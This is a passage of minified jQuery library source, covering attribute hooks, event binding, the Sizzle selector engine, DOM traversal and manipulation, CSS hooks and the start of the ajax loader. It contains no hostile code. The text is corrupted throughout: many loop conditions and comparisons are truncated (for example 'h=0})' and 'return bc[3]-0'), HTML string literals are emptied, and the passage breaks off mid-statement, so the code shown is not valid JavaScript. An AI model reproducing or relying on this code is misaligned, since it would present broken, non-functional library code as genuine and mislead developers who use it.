b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type==="select-one";if(c<0)return null;for(var h=g?c:0,i=g?c+1:e.length;h=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:"tabIndex"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e&&c in f.attrFn)return f(a)[c](d);if(!("getAttribute"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);j&&(c=f.attrFix[c]||c,i=f.attrHooks[c],i||(t.test(c)?i=v:u&&(i=u)));if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i&&"set"in i&&j&&(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,""+d);return d}if(i&&"get"in i&&j&&(h=i.get(a,c))!==null)return h;h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1&&(b=f.attrFix[b]||b,f.attr(a,b,""),a.removeAttribute(b),t.test(b)&&(c=f.propFix[b]||b)in a&&(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)&&a.parentNode)f.error("type property can't be changed");else if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var c=a.value;a.setAttribute("type",b),c&&(a.value=c);return b}}},value:{get:function(a,b){if(u&&f.nodeName(a,"button"))return u.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(u&&f.nodeName(a,"button"))return u.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);i&&(c=f.propFix[c]||c,h=f.propHooks[c]);return d!==b?h&&"set"in h&&(g=h.set(a,d,c))!==b?g:a[c]=d:h&&"get"in h&&(g=h.get(a,c))!==null?g:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabIndex=f.propHooks.tabIndex,v={get:function(a,c){var d;return f.prop(a,c)===!0||(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},f.support.getSetAttribute||(u=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d&&d.nodeValue!==""?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+""}},f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return c}}})})),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return null}})),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)>=0}})});var w=/\.(.*)$/,x=/^(?:textarea|input|select)$/i,y=/\./g,z=/ /g,A=/[^\w\s.|`]/g,B=function(a){return a.replace(A,"\\$&")};f.event={add:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){if(d===!1)d=C;else if(!d)return;var g,h;d.handler&&(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(" ");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(".")>-1?(n=l.split("."),l=n.shift(),h.namespace=n.slice(0).sort().join(".")):(n=[],h.namespace=""),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent&&a.attachEvent("on"+l,k)}p.add&&(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3&&a.nodeType!==8){d===!1&&(d=C);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)&&f._data(a),t=s&&s.events;if(!s||!t)return;c&&c.type&&(d=c.handler,c=c.type);if(!c||typeof c=="string"&&c.charAt(0)==="."){c=c||"";for(h in t)f.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+f.map(m.slice(0).sort(),B).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=t[h];if(!p)continue;if(!d){for(j=0;j=0&&(h=h.slice(0,-1),j=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if(!!e&&!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join("."),c.namespace_re=new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b&&b.events&&b.events[h]&&f.event.trigger(c,d,b.handle.elem)});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d!=null?f.makeArray(d):[],d.unshift(c);var k=e,l=h.indexOf(":")<0?"on"+h:"";do{var m=f._data(k,"handle");c.currentTarget=k,m&&m.apply(k,d),l&&f.acceptData(k)&&k[l]&&k[l].apply(k,d)===!1&&(c.result=!1,c.preventDefault()),k=k.parentNode||k.ownerDocument||k===c.target.ownerDocument&&a}while(k&&!c.isPropagationStopped());if(!c.isDefaultPrevented()){var n,o=f.event.special[h]||{};if((!o._default||o._default.call(e.ownerDocument,c)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)){try{l&&e[h]&&(n=e[l],n&&(e[l]=null),f.event.triggered=h,e[h]())}catch(p){}n&&(e[l]=n),f.event.triggered=b}}return c.result}},handle:function(c){c=f.event.fix(c||a.event);var d=((f._data(this,"events")||{})[c.type]||[]).slice(0),e=!c.exclusive&&!c.namespace,g=Array.prototype.slice.call(arguments,0);g[0]=c,c.currentTarget=this;for(var h=0,i=d.length;h-1?f.map(a.options,function(a){return a.selected}).join("-"):"":f.nodeName(a,"select")&&(c=a.selectedIndex);return c},I=function(c){var d=c.target,e,g;if(!!x.test(d.nodeName)&&!d.readOnly){e=f._data(d,"_change_data"),g=H(d),(c.type!=="focusout"||d.type!=="radio")&&f._data(d,"_change_data",g);if(e===b||g===e)return;if(e!=null||g)c.type="change",c.liveFired=b,f.event.trigger(c,arguments[1],d)}};f.event.special.change={filters:{focusout:I,beforedeactivate:I,click:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(c==="radio"||c==="checkbox"||f.nodeName(b,"select"))&&I.call(this,a)},keydown:function(a){var b=a.target,c=f.nodeName(b,"input")?b.type:"";(a.keyCode===13&&!f.nodeName(b,"textarea")||a.keyCode===32&&(c==="checkbox"||c==="radio")||c==="select-multiple")&&I.call(this,a)},beforeactivate:function(a){var b=a.target;f._data(b,"_change_data",H(b))}},setup:function(a,b){if(this.type==="file")return!1;for(var c in G)f.event.add(this,c+".specialChange",G[c]);return x.test(this.nodeName)},teardown:function(a){f.event.remove(this,".specialChange");return x.test(this.nodeName)}},G=f.event.special.change.filters,G.focus=G.beforeactivate}f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){function e(a){var c=f.event.fix(a);c.type=b,c.originalEvent={},f.event.trigger(c,null,c.target),c.isDefaultPrevented()&&a.preventDefault()}var d=0;f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.each(["bind","one"],function(a,c){f.fn[c]=function(a,d,e){var g;if(typeof a=="object"){for(var h in a)this[c](h,d,a[h],e);return this}if(arguments.length===2||d===!1)e=d,d=b;c==="one"?(g=function(a){f(this).unbind(a,g);return e.apply(this,arguments)},g.guid=e.guid||f.guid++):g=e;if(a==="unload"&&c!=="one")this.one(a,d,e);else for(var i=0,j=this.length;i0?this.bind(b,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0)}),function(){function u(a,b,c,d,e,f){for(var g=0,h=d.length;g0){j=i;break}}i=i[a]}d[g]=j}}}function t(a,b,c,d,e,f){for(var g=0,h=d.length;g+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d=0,e=Object.prototype.toString,g=!1,h=!0,i=/\\/g,j=/\W/;[0,0].sort(function(){h=!1;return 0});var k=function(b,d,f,g){f=f||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return f;var i,j,n,o,q,r,s,t,u=!0,w=k.isXML(d),x=[],y=b;do{a.exec(""),i=a.exec(y);if(i){y=i[3],x.push(i[1]);if(i[2]){o=i[3];break}}}while(i);if(x.length>1&&m.exec(b))if(x.length===2&&l.relative[x[0]])j=v(x[0]+x[1],d);else{j=l.relative[x[0]]?[d]:k(x.shift(),d);while(x.length)b=x.shift(),l.relative[b]&&(b+=x.shift()),j=v(b,j)}else{!g&&x.length>1&&d.nodeType===9&&!w&&l.match.ID.test(x[0])&&!l.match.ID.test(x[x.length-1])&&(q=k.find(x.shift(),d,w),d=q.expr?k.filter(q.expr,q.set)[0]:q.set[0]);if(d){q=g?{expr:x.pop(),set:p(g)}:k.find(x.pop(),x.length===1&&(x[0]==="~"||x[0]==="+")&&d.parentNode?d.parentNode:d,w),j=q.expr?k.filter(q.expr,q.set):q.set,x.length>0?n=p(j):u=!1;while(x.length)r=x.pop(),s=r,l.relative[r]?s=x.pop():r="",s==null&&(s=d),l.relative[r](n,s,w)}else n=x=[]}n||(n=j),n||k.error(r||b);if(e.call(n)==="[object Array]")if(!u)f.push.apply(f,n);else if(d&&d.nodeType===1)for(t=0;n[t]!=null;t++)n[t]&&(n[t]===!0||n[t].nodeType===1&&k.contains(d,n[t]))&&f.push(j[t]);else for(t=0;n[t]!=null;t++)n[t]&&n[t].nodeType===1&&f.push(j[t]);else p(n,f);o&&(k(o,h,f,g),k.uniqueSort(f));return f};k.uniqueSort=function(a){if(r){g=h,a.sort(r);if(g)for(var b=1;b0},k.find=function(a,b,c){var d;if(!a)return[];for(var e=0,f=l.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!j.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(i,"")},TAG:function(a,b){return a[1].replace(i,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||k.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&k.error(a[0]);a[0]=d++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(i,"");!f&&l.attrMap[g]&&(a[1]=l.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(i,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=k(b[3],null,null,c);else{var g=k.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(l.match.POS.test(b[0])||l.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!k(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=l.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||k.getText([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=l.attrHandle[c]?l.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=l.setFilters[e];if(f)return f(a,c,b,d)}}},m=l.match.POS,n=function(a,b){return"\\"+(b-0+1)};for(var o in l.match)l.match[o]=new RegExp(l.match[o].source+/(?![^\[]*\])(?![^\(]*\))/.source),l.leftMatch[o]=new RegExp(/(^(?:.|\r|\n)*?)/.source+l.match[o].source.replace(/\\(\d+)/g,n));var p=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(q){p=function(a,b){var c=0,d=b||[];if(e.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var f=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(l.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},l.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(l.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(l.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=k,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

        ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){k=function(b,e,f,g){e=e||c;if(!g&&!k.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return p(e.getElementsByTagName(b),f);if(h[2]&&l.find.CLASS&&e.getElementsByClassName)return p(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return p([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return p([],f);if(i.id===h[3])return p([i],f)}try{return p(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var m=e,n=e.getAttribute("id"),o=n||d,q=e.parentNode,r=/^\s*[+~]/.test(b);n?o=o.replace(/'/g,"\\$&"):e.setAttribute("id",o),r&&q&&(e=e.parentNode);try{if(!r||q)return p(e.querySelectorAll("[id='"+o+"'] "+b),f)}catch(s){}finally{n||m.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)k[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}k.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!k.isXML(a))try{if(e||!l.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return k(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
        ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;l.order.splice(1,0,"CLASS"),l.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?k.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?k.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:k.contains=function(){return!1},k.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var v=function(a,b){var c,d=[],e="",f=b.nodeType?[b]:b;while(c=l.match.PSEUDO.exec(a))e+=c[0],a=a.replace(l.match.PSEUDO,"");a=l.relative[a]?a+"*":a;for(var g=0,h=f.length;g0)for(h=g;h0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h,i,j={},k=1;if(g&&a.length){for(d=0,e=a.length;d-1:f(g).is(h))&&c.push({selector:i,elem:g,level:k});g=g.parentNode,k++}}return c}var l=S.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(U(c[0])||U(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling(a.parentNode.firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c),g=R.call(arguments);N.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!T[a]?f.unique(e):e,(this.length>1||P.test(d))&&O.test(a)&&(e=e.reverse());return this.pushStack(e,a,g.join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
        ","
        "],thead:[1,"","
        "],tr:[2,"","
        "],td:[3,"","
        "],col:[2,"","
        "],area:[1,"",""],_default:[0,"",""]};be.optgroup=be.option,be.tbody=be.tfoot=be.colgroup=be.caption=be.thead,be.th=be.td,f.support.htmlSerialize||(be._default=[1,"div
        ","
        "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){f(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f(arguments[0]).toArray());return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!be[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d=a.cloneNode(!0),e,g,h;if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bh(a,d),e=bi(a),g=bi(d);for(h=0;e[h];++h)g[h]&&bh(e[h],g[h])}if(b){bg(a,d);if(c){e=bi(a),g=bi(d);for(h=0;e[h];++h)bg(e[h],g[h])}}e=g=null;return d},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=be[l]||be._default,n=m[0],o=b.createElement("div");o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return bn.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNaN(b)?"":"alpha(opacity="+b*100+")",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bm,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bm.test(g)?g.replace(bm,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bv(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bw=function(a,c){var d,e,g;c=c.replace(bo,"-$1").toLowerCase();if(!(e=a.ownerDocument.defaultView))return b;if(g=e.getComputedStyle(a,null))d=g.getPropertyValue(c),d===""&&!f.contains(a.ownerDocument.documentElement,a)&&(d=f.style(a,c));return d}),c.documentElement.currentStyle&&(bx=function(a,b){var c,d=a.currentStyle&&a.currentStyle[b],e=a.runtimeStyle&&a.runtimeStyle[b],f=a.style;!bp.test(d)&&bq.test(d)&&(c=f.left,e&&(a.runtimeStyle.left=a.currentStyle.left),f.left=b==="fontSize"?"1em":d||0,d=f.pixelLeft+"px",f.left=c,e&&(a.runtimeStyle.left=e));return d===""?"auto":d}),bv=bw||bx,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bz=/%20/g,bA=/\[\]$/,bB=/\r?\n/g,bC=/#.*$/,bD=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bE=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bF=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bG=/^(?:GET|HEAD)$/,bH=/^\/\//,bI=/\?/,bJ=/)<[^<]*)*<\/script>/gi,bK=/^(?:select|textarea)/i,bL=/\s+/,bM=/([?&])_=[^&]*/,bN=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bO=f.fn.load,bP={},bQ={},bR,bS,bT=["*/"]+["*"];try{bR=e.href}catch(bU){bR=c.createElement("a"),bR.href="",bR=bR.href}bS=bN.exec(bR.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bO)return bO.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var 